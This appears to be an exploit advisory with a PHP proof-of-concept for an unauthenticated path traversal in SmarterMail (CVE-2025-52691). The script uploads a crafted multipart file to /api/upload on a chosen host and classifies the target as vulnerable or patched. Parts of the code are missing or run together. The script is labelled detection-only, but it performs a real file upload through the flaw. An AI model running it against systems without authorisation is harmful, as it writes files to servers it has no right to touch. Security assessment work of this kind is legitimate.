============================================================================================================================================= | # Title : SmarterMail 16.3.6989.16341 Detection Artifact Generator Unauthenticated Path Traversal vulnerability | | # Author : indoushka | | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.1 (64 bits) | | # Vendor : https://www.smartertools.com/ | ============================================================================================================================================= [+] Summary: This PHP proof-of-concept is a detection-only artifact generator for CVE-2025-52691 affecting SmarterMail. It sends a crafted multipart upload request to the /api/upload endpoint, leveraging a path traversal condition in the contextData GUID to determine whether the target is vulnerable. The script analyzes HTTP responses and returned JSON keys to classify the target as Vulnerable, Not Vulnerable (patched), or Unknown, without executing payloads or performing exploitation. It is intended solely for validation and security assessment purposes. [+] POC : php poc.php -H https://target.com true, CURLOPT_POSTFIELDS => $data, CURLOPT_RETURNTRANSFER => true, CURLOPT_HTTPHEADER => [ "Content-Type: multipart/form-data; boundary={$boundary}", "Content-Length: " . strlen($data) ], CURLOPT_SSL_VERIFYPEER => false, CURLOPT_SSL_VERIFYHOST => false, CURLOPT_TIMEOUT => 15, ]); $response = curl_exec($ch); $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); if ($response === false || empty($response)) { echo "[!] Request failed\n"; return; } $json = json_decode($response, true); if (is_string($json)) { $json = json_decode($json, true); } if (!is_array($json)) { echo "[+/-] UNKNOWN MESSAGE - please verify manually\n"; return; } if ($httpCode === 200 && isset($json['key'])) { if (stripos($json['key'], $name) !== false) { echo "[+] VULNERABLE - file " . basename($json['key']) . " got uploaded\n"; return; } } if ($httpCode === 400 && ($json['message'] ?? '') === 'INVALID_GUID') { echo "[-] NOT VULNERABLE - patch applied (INVALID_GUID)\n"; return; } echo "[+/-] UNKNOWN MESSAGE - please verify manually\n"; } echo $banner; $options = getopt("H:", ["host:"]); if (!isset($options['H']) && !isset($options['host'])) { echo "Usage : php poc.php -H \n"; echo "Example: php poc.php -H https://smartermail.lab/\n"; exit(1); } $host = rtrim($options['H'] ?? $options['host'], '/') . '/'; dag($host); Greetings to :===================================================================================== jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)| ===================================================================================================